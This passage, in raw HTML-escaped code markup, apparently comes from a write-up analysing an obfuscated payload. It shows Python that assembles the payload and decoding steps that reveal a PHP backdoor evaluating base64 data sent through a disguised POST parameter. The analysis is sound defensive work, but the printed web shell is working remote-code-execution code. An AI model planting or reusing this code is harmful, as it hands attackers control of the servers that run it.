class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;90&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;77&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;52&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;77&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;47&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;59&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;73&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;51&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;77&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;51&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;51&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;51&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;51&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;51&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;47&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;82&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;59&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;82&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;59&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;47&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;do_me&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;order&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;do_me&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;terms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;order&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;do_me&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;This generated payload looks to contain a few base64 encoded strings.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;__&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;___&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;eval&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;___&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;I created the following code to decode the strings&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;$_ is&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base64&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b64decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;$__ is&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base64&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b64decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;This code extracts some POST payloads that look to be hex and decimal ASCII codes.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;is&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;if(isset($_POST[&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x4F&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x68&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x74&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x44&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x4F&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x54&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6A&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x76&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x61&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x35&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x63&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x72&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x70&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x41&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x66&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6C&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x72&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x65&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x44&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;65&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x53&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;72&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;110&lt;/span&gt;&lt;span 